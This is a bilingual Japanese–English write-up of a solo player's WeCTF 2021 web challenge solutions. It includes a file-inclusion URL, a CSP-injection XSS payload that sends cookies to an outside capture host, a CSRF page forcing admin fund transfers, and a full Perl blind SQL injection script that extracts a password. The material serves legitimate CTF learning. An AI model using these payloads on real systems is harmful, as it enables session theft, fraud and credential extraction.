English version is in the latter half of this page.
日本語版
概要
WeCTF (2021/06/20 02:00 ~ 2021/06/21 02:00 (JST)) (CTFtime.org) に1人チームで参加した。
結果は1947点で、約1000チーム (正の点数を取ったのは574チーム) 中29位だった。
解けた問題と時刻は以下のようになった。
(配点の合計と結果の点数が合わない。獲得した点数ではなく次に正解したら獲得できる点数が書かれている?)
Web問オンリーとされていたが、WelcomeはWebではなさそうだった。
問題 | 配点 | 時刻 (JST) |
---|---|---|
Include | 310 | 2021/06/20 2:01 |
Cache | 143 | 2021/06/20 2:35 |
Coin Exchange | 379 | 2021/06/20 4:07 |
Welcome | 10 | 2021/06/20 4:13 |
CSP 1 | 335 | 2021/06/20 4:30 |
Phish | 592 | 2021/06/20 5:29 |
登録
登録ではチーム名(チームで1個のアカウントを共有する形式のようだ)、メールアドレス、パスワードを要求された。
情報を送信すると、メールアドレスの確認を要求された。
届いたメールを確認すると、本文は
_
の1文字しか無かった。
メッセージのソースを確認すると、
Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>
というそれっぽい部分があった。 (一部の文字を伏せている)
しかし、このURLにそのままアクセスしても、うまく登録ができなかった。
em
とail
の間の=
を消すのに加え、2箇所ある=3D
を=
に置き換えてアクセスすることで、登録ができた。
解けた問題
Welcome
問題文より
The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
b64decode("
と")
の間の文字列に対しCyberChefでFrom Base64 → URL Decodeをすることで、flagが得られた。
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
Cache
WebページのURLとソースコードが与えられた。
指定のURLの一つhttp://cache.sf.ctf.so/
にアクセスすると、Page not foundの画面になり、
Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:
- index
- flag
The empty path didn’t match any of these.
と表示された。
http://cache.sf.ctf.so/index
にアクセスすると、
Not thing here, check out /flag.
と表示された。
http://cache.sf.ctf.so/flag
にアクセスすると、
Only admin can view this!
と表示された。
配布されたソースコードをチェックすると、cache/cache_middleware.py
において、
パスが.css
、.js
、.html
のいずれかで終わっていたらキャッシュをするようになっているのが読み取れた。
さらに、パスに.html
を加えたhttp://cache.sf.ctf.so/flag.html
にアクセスしても、
Only admin can view this!
と表示された。
これを踏まえ、まずUrl Viewer (指定のURLにadminとしてアクセスしてくれるツール)で
http://cache.sf.ctf.so/flag.html
にアクセスさせ、すぐに手元のブラウザでも同じURLにアクセスすることで、
flagが得られた。
we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}
Include
WebページのURLが与えられた。
また、問題文より/flag.txt
を読めば良さそうである。
指定のURLの一つhttp://include.sf.ctf.so/
にアクセスすると、
<?php
show_source(__FILE__);
@include $_GET["🤯"];
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
と表示された。
表示された絵文字をブラウザのURL欄にコピペし、パラメータとして使うための部分を補った
http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt
にアクセスすることで、flagが得られた。
we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
CSP 1
WebページのURLとソースコードが与えられた。
指定のURLの一つにアクセスすると、HTMLを入力する欄と送信ボタンが表示された。
例えばaaaa
と入力して送信すると、aaaa
が表示された。この時、ページのソースは
<!-- Permalink: it's in navbar dumbass -->
<hr>
aaaa
となった。
さらに、<script>alert(200)</script>
を送信すると、同様に
<!-- Permalink: it's in navbar dumbass -->
<hr>
<script>alert(200)</script>
となったが、ダイアログは出なかった。
Firefoxの開発者ツールで確認すると、これは
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
というヘッダがあり、script-src 'none';
によってスクリプトの読み込みが抑制されているからである。
配布されたソースコードをチェックすると、このヘッダのimg-src 'self'
の後の部分に
img
タグのsrc
属性に設定されたURLのプロトコルとホスト名の部分を加えている部分があった。
これを踏まえ、送信する内容を
<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>
とすると、ヘッダが
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
となり、指定にscript-src 'unsafe-inline';
が加わる。
すると、Firefoxでは重複した指定は最初のものが採用されるため、直書きしたスクリプトの実行が許可され、
ダイアログが表示された。
さらに、
<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>
(実際はexample.com
のかわりにRequestBinのendpointのドメインを使用する)を送信すると、
RequestBinにcookieの内容を送ってくれるようになる。
この送信結果のページのURLをUrl Viewerに送ると、
/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D
のような形でデータが送られてきた。
これにCyberChefのURL Decodeをかけることで、flagが得られた。
we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}
Coin Exchange
WebページのURLとソースコードが与えられた。
指定のURLの一つにアクセスすると、UsernameとPasswordを入れてLogin/Registerする画面になった。
例えばそれぞれ適当なUUIDを入れるといいだろう。
最初にログインすると、以下の状況になる。
- 1000 USDと0 Ethを持っている
- 交換するEthの量を指定してUSDに替えることができる (0.00045 Eth/USDくらい)
- 交換するUSDの量を指定してEthに替えることができる (2200 USD/Ethくらい)
- 送り先のトークンと送るEthの量を指定して送れそうな画面があるが、Only admin can transfer :( と言われる
- Rankings画面を見ると、TheBossが大きな残高を持っていることがわかる
問題文より、自分の残高を$5000以上にすればflagを送ってもらえそうである。
さらに、
Hint: Search CSRF if you don't know what that is.
というヒントも出ている。
ということは、adminからEthを送ってもらうのがよさそうである。
これを実現するため、配布されたソースコード中のindex.html
に対し、以下の5点の改造を加えた。
1点目に、WebSocket
オブジェクトを作っている部分(2箇所)で、ドメインをページのURLから求めているので、
以下のような直接埋め込みに書き換えた。
socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");
2点目に、script
タグの直下(関数やオブジェクトの定義の外)に以下を追加し、
ページを開いただけで処理が開始されるようにすた。
window.addEventListener("load", start_socket);
3点目に、start_socket
関数内の
alert(content["message"])
の直前に
{
let img = document.createElement("img");
let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "ð=" +value.eth);
document.body.appendChild(img);
}
を書き加え、状況がRequestBinに伝わってくるようにした。
ただし、example.com
はRequestBinのendpointのドメインに置き換える。
4点目に、start_socket
関数内の
routine = setInterval(routine_update, 1000)
の直後に
send_content("buy", {amount: "110000"})
を書き加え、処理の開始時にUSDからEthへの交換を行うようにした。
5点目に、routine_update
関数の前に
let safety = 5;
を、同関数内の最後に
if (parseFloat(eth) > 40 && safety-- > 0) {
send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}
を書き加え、Ethを十分持っていたら送るようにした。
ただし、to_token:
の後の文字列はYour Tokenの所に表示される自分のトークンとする。
改造後、このファイルをインターネットからHTTPでアクセスできる場所に置き、そのURLをUrl Viewerに渡した。
他の人に見られる可能性を下げるため、URLにUUIDを含めるなどするといいだろう。
すると、RequestBinにFilledのメッセージ(交換した事を表す)が送られてきて、
10秒くらいすると今度はTransferredのメッセージが送られてきた。
問題サイトに戻って確認すると、持っているEthの量が増え、Total Net USD Valueが5000を超えた。
しかし、画面上にflagは出てこなかった。
EthをUSDに交換し、持っているUSDが5000を超えても、変わらなかった。
Firefoxの開発者ツールでネットワークの様子をチェックし、2番目のwebsocketの応答を見ると、
受信したデータの最後にflagが書かれていた。
we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}
Phish
WebページのURLとソースコードが与えられた。
指定のURLの一つにアクセスすると、ユーザーIDとパスワードを入力する画面になった。
両方にa
を入れてEnterキーを押してみると、
Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username
と表示された。
配布されたソースコード(main.py
)をチェックすると、入力したusernameとpasswordを用いて
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
というSQLをSQLiteで実行し、例外が出た場合はそれを、
出なかった場合は"Your password is leaked :)"を出力するようになっていた。
また、ユーザーIDに07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '
、
パスワードにa
を入れてみると、
Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username
と表示された。
このことから、最初にユーザーID<UUID>_1
を送信しておき、
ユーザーIDとして<同じUUID>_' || (select 1 from user where <真偽を判定したい式>) || '
を用いることで、UNIQUEを含む応答が返ってきたら式が真、
NOT NULLを含む応答が返ってきたら式が偽と判定できることがわかる。
この性質を用い、まず(select count(*) from user where password like 'we{%}') = 1
が真であること、
すなわちflagの書式に沿ったパスワードが1個しか無いことを確認した。
このことを確認したら、あとはこのパスワードの長さと各文字をそれぞれ二分探索で求めることができる。
該当のパスワードを求めるプログラム
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use URI::Escape;
my $sock;
my $closed = 1;
sub check {
my ($query) = @_;
if ($closed) {
$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
die "connection failed: $!" unless $sock;
binmode($sock);
$closed = 0;
}
my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
my $body = "username=" . uri_escape($query2) . "&password=a";
print $sock "POST /add HTTP/1.1\r\n";
print $sock "Host: phish.sf.ctf.so\r\n";
print $sock "Connection: keep-alive\r\n";
print $sock "User-Agent: Perl\r\n";
print $sock sprintf("Content-Length: %d\r\n", length($body));
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "\r\n";
print $sock $body;
# receive headers
my $keep = 0;
my $length = -1;
while (my $line = <$sock>) {
if ($line eq "\r\n") { last; }
if ($line =~ /^transfer-encoding:\s*chunked/i) {
die "panic: chunked unsupported!\n";
}
if ($line =~ /^content-length:\s*(\d+)/i) {
$length = int($1);
}
if ($line =~ /^connection:\s*keep-alive/i) {
$keep = 1;
}
}
my $rcvd = "";
while ($length > 0) {
my $data = "";
my $res = read($sock, $data, $length);
die "socket error $!\n" unless defined($res);
if ($res == 0) { last; }
$rcvd .= $data;
$length -= $res;
}
unless ($keep) {
close($sock);
$closed = 1;
}
if (index($rcvd, "UNIQUE") >= 0) {
return 1;
}
if (index($rcvd, "NOT NULL") >= 0) {
return 0;
}
die "panic: unexpected response:\n$rcvd\n";
}
# put the username to use in the server
eval {
&check("1=1");
};
unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
die "panic: multiple password exists\n";
}
my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
$ge *= 2;
}
while ($less + 1 < $ge) {
my $mid = $less + (($ge - $less) >> 1);
if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
$ge = $mid;
} else {
$less = $mid;
}
}
my $passlen = $ge;
print "length of password = $passlen\n";
my $pass = "";
for (my $i = 1; $i <= $passlen; $i++) {
my $le = 0x20;
my $greater = 0x7f;
while ($le + 1 < $greater) {
my $mid = $le + (($greater - $le) >> 1);
my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
if (&check($query)) {
$le = $mid;
} else {
$greater = $mid;
}
}
$pass .= chr($le);
print "done $i / $passlen\n";
}
print "$pass\n";
close($sock);
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}
English version
About
I participated in WeCTF (June 20, 2021 02:00 ~ June 21, 2021 02:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 1947 points and ranked 29th among about 1000 teams (574 teams earned positive score).
Here are challenges I solved and the times I solved on.
(The total of the Values and the resulting score don't match. Maybe the values are not scores earned but scores to be earned by next acceptance?)
This competition is announced as Web challenges only, but the challenge Welcome didn't look like Web one.
Challenge | Value | Time (JST: UTC+9) |
---|---|---|
Include | 310 | 2021/06/20 2:01 |
Cache | 143 | 2021/06/20 2:35 |
Coin Exchange | 379 | 2021/06/20 4:07 |
Welcome | 10 | 2021/06/20 4:13 |
CSP 1 | 335 | 2021/06/20 4:30 |
Phish | 592 | 2021/06/20 5:29 |
Registration
In the registration, a team name (It looked like we should share one account among one team), an e-mail address and a password.
Submitting the information, I was asked to confirm the e-mail address.
Seeing the e-mail received, the body had only one character:
_
Viewing the source of the message, I found a part that looks important:
Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>
(some characters are hidden)
However, the registration didn't success by just accessing this URL.
I succeeded to register by accessing after not only removing the =
between em
and ail
but also replacing the two =3D
s to =
.
Challenges I solved
Welcome
The challenge description said:
The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
I got the flag by applying From Base64 and URL Decode on CyberChef to the string between b64decode("
and ")
.
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
Cache
URLs of Web page and its source code were given.
I accessed one of the URLs http://cache.sf.ctf.so/
, finding it is saying "Page not found" with
Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:
- index
- flag
The empty path didn’t match any of these.
Accessing http://cache.sf.ctf.so/index
showed me
Not thing here, check out /flag.
Accessing http://cache.sf.ctf.so/flag
showed me
Only admin can view this!
Checking the provided source code, cache/cache_middleware.py
was caching the contents if the path ends one of .css
, js
, or .html
.
Also, I accessed http://cache.sf.ctf.so/flag.html
(with .html
added to the path) and it also showed me
Only admin can view this!
Based on this, I first had the Url Viewer (a tool that accesses a specified URL as the admin) access
http://cache.sf.ctf.so/flag.html
.
Then accessed the same URL with a Web browser soon, getting the flag.
we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}
Include
URLs of Web page were given.
Also the challenge description suggested that we should read /flag.txt
.
Accessing one of the URLs http://include.sf.ctf.so/
, it showed
<?php
show_source(__FILE__);
@include $_GET["🤯"];
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
I got the flag by accessing http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt
(copy-and-pasted the emoji to the address bar and added things to use that for the parameter)
we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
CSP 1
URLs of Web page and its source code were given.
Accessing one of the URLs, an field to give some HTML and a submit button were presented.
I entered aaaa
and submitted, seeing aaaa
displayed. The source code of the page for this was:
<!-- Permalink: it's in navbar dumbass -->
<hr>
aaaa
I also sent <script>alert(200)</script>
and got the page
<!-- Permalink: it's in navbar dumbass -->
<hr>
<script>alert(200)</script>
But the dialog didn't show.
Checking with the developer tool on Firefox, this is because there exists a HTTP header
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
and the script-src 'none';
is preventing it from loading scripts.
Checking the source code provided, it was adding URLs specified as the src
attributes of img
tags without the path part after img-src 'self'
of the header.
Based on this, I submitted
<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>
This makes the header be
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
and script-src 'unsafe-inline';
is added.
Now the dialog is shown because Firefox uses the first one for duplicate entries and it allows executing scripts that are directly written.
Moreover, sending
<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>
(example.com
should be replaced to a domain for RequestBin endpoint)
makes it send the contents of cookie to RequestBin.
Sending an URL for this page to the Url Viewer resulted in receiving data
/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D
I got the flag by applying URL Decode on CyberChef to this.
we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}
Coin Exchange
URLs of Web page and its source code were given.
Accessing one of the URLs, it showed a form to Login/Register with a Username and a Password.
Entering some (different) UUID for each them will work, for example.
The situation after the first login is:
- I have 1000 USD and 0 Eth
- I can exchange Eth to USD with specifying the amount of Eth to exchange (about 0.00045 Eth/USD)
- I can exchange USD to Eth with specifying the amount of USD to exchange (about 2200 USD/Eth)
- There is a screen that seems possible to send some Eth with specifying the token of destination and the amount of Eth to send, but it says "Only admin can transfer :(" when I try to use that.
- The Rankings screen shows TheBoss having large balance.
The challenge description suggested that flag will be sent after making my balance $5000 or more.
Also there was a hint:
Hint: Search CSRF if you don't know what that is.
It looks like suggesting that I should have the admin send some Eth to me.
To achieve this, I made following 5 modifications to the index.html
in the source code provided.
Firstly, I replaced the domain generated from the URL of the page to a fixed one like below in the two creations of WebSocket
object.
socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");
Secondly, I added this just under the script
tag (outside definitions of functions and objects), making it begin the process just by opening the page.
window.addEventListener("load", start_socket);
Thirdly, I added
{
let img = document.createElement("img");
let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "ð=" +value.eth);
document.body.appendChild(img);
}
(replace example.com
with a domain for RequestBin endpoint)
just before
alert(content["message"])
in the start_socket
function to have it send the status to RequestBin.
Fourthly, I added
send_content("buy", {amount: "110000"})
just after
routine = setInterval(routine_update, 1000)
in the start_socket
function to have it exchange some USD to Eth at the beginning.
Fifthly, I added
let safety = 5;
before the routine_update
function and
if (parseFloat(eth) > 40 && safety-- > 0) {
send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}
at the end of the function to have it send Eth when it has enough one.
(Use our own token presented after "Your Token" for the string after to_token:
)
After applying these modifications, I made this file available from the Internet via HTTP and sent its URL to the Url Viewer.
To prevent this file from being seen from other people, the URL should contain UUID or something.
After that, a "Filled" (the exchange done) message was sent to RequestBin,
and a "Transferred" message was sent to RequestBin about 10 seconds after that.
Checking the challenge page, the amount of Eth I have was glowed and the Total Net USD Value exceeded 5000.
However, the flag wasn't shown on the screen after that.
The situation didn't change even after making my USD over 5000 by exchanging Eth to USD.
I found the flag in the last part of the received messages by checking the network via the developer tool on Firefox and seeing the second websocket response.
we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}
Phish
URLs of Web page and its source code were given.
Accessing one of the URLs, it showed me a form to enter an user ID and a password.
I entered a
to both of them and hit Enter key, seeing a message
Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username
Checking the source code provided (main.py
), it was executing a SQL
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
with the username and password entered on SQLite, and printing the exception thrown or "Your password is leaked :)" when no exception were thrown.
Also I entered 07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '
for the user ID and a
for the password, getting a message
Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username
This is implying that we can check if an expression is true by:
- Send a user ID
<UUID>_1
- Send a user ID
<the same UUID>_' || (select 1 from user where <the expression to check>) || '
- Judge as true if the response contains "UNIQUE" and judge as false if it contains "NOT NULL"
Firstly I verified that (select count(*) from user where password like 'we{%}') = 1
is true.
It means there is only one password that matches the format of the flag.
Verifying this, we can obtain the length and each characters of the password using binary search.
A program to obtain the password
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use URI::Escape;
my $sock;
my $closed = 1;
sub check {
my ($query) = @_;
if ($closed) {
$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
die "connection failed: $!" unless $sock;
binmode($sock);
$closed = 0;
}
my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
my $body = "username=" . uri_escape($query2) . "&password=a";
print $sock "POST /add HTTP/1.1\r\n";
print $sock "Host: phish.sf.ctf.so\r\n";
print $sock "Connection: keep-alive\r\n";
print $sock "User-Agent: Perl\r\n";
print $sock sprintf("Content-Length: %d\r\n", length($body));
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "\r\n";
print $sock $body;
# receive headers
my $keep = 0;
my $length = -1;
while (my $line = <$sock>) {
if ($line eq "\r\n") { last; }
if ($line =~ /^transfer-encoding:\s*chunked/i) {
die "panic: chunked unsupported!\n";
}
if ($line =~ /^content-length:\s*(\d+)/i) {
$length = int($1);
}
if ($line =~ /^connection:\s*keep-alive/i) {
$keep = 1;
}
}
my $rcvd = "";
while ($length > 0) {
my $data = "";
my $res = read($sock, $data, $length);
die "socket error $!\n" unless defined($res);
if ($res == 0) { last; }
$rcvd .= $data;
$length -= $res;
}
unless ($keep) {
close($sock);
$closed = 1;
}
if (index($rcvd, "UNIQUE") >= 0) {
return 1;
}
if (index($rcvd, "NOT NULL") >= 0) {
return 0;
}
die "panic: unexpected response:\n$rcvd\n";
}
# put the username to use in the server
eval {
&check("1=1");
};
unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
die "panic: multiple password exists\n";
}
my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
$ge *= 2;
}
while ($less + 1 < $ge) {
my $mid = $less + (($ge - $less) >> 1);
if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
$ge = $mid;
} else {
$less = $mid;
}
}
my $passlen = $ge;
print "length of password = $passlen\n";
my $pass = "";
for (my $i = 1; $i <= $passlen; $i++) {
my $le = 0x20;
my $greater = 0x7f;
while ($le + 1 < $greater) {
my $mid = $le + (($greater - $le) >> 1);
my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
if (&check($query)) {
$le = $mid;
} else {
$greater = $mid;
}
}
$pass .= chr($le);
print "done $i / $passlen\n";
}
print "$pass\n";
close($sock);
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}